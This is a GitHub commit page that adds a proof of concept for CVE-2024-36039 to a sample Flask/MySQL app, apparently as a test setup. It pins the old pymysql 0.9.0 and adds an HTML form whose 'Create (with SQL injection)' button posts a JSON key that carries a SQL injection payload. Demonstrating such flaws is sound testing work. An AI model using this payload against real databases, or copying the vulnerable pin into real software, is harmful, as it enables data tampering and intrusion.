-
Notifications
You must be signed in to change notification settings - Fork 2
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Add a POC for CVE-2024-36039 inside flask-mysql-uwsgi
- Loading branch information
Wout Feys
committed
Sep 16, 2024
1 parent
484bd88
commit 818263a
Showing
4 changed files
with
71 additions
and
1 deletion.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -2,3 +2,4 @@ flask==2.3.3 | |
flask-mysql | ||
cryptography | ||
uwsgi | ||
pymysql==0.9.0 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,50 @@ | ||
<!DOCTYPE html> | ||
<html lang="en"> | ||
<head> | ||
<meta charset="UTF-8"> | ||
<meta http-equiv="X-UA-Compatible" content="IE=edge"> | ||
<meta name="viewport" content="width=device-width, initial-scale=1.0"> | ||
<title>Create (with JSON)</title> | ||
<script> | ||
function submitForm(inject) { | ||
var dogName = document.getElementById('dog_name').value; | ||
var statusElement = document.getElementById('status'); | ||
if(inject) | ||
var data = JSON.stringify({"dog\", 0); -- ": 0}); | ||
else | ||
var data = dogName | ||
|
||
|
||
fetch('/create_with_json', { | ||
method: 'POST', | ||
headers: { | ||
'Content-Type': 'application/json' | ||
}, | ||
body: data | ||
}) | ||
.then(response => { | ||
if (response.ok) { | ||
return response.text(); | ||
} | ||
statusElement.innerText = "Network response was not ok." | ||
throw new Error('Network response was not ok.'); | ||
}) | ||
.then(data => { | ||
statusElement.innerText = data | ||
console.log(data); | ||
}) | ||
.catch(error => { | ||
console.error('Error:', error); | ||
}); | ||
} | ||
</script> | ||
</head> | ||
<body> | ||
<h1>Create (with JSON)</h1> | ||
<label for="dog_name">Dog Name:</label> | ||
<input type="text" id="dog_name" name="dog_name" required><br/> | ||
<button onclick="submitForm(false)">Create</button> | ||
<button onclick="submitForm(true)">Create (with SQL injection)</button> | ||
<p>Status: <span id="status"></span></p> | ||
</body> | ||
</html> |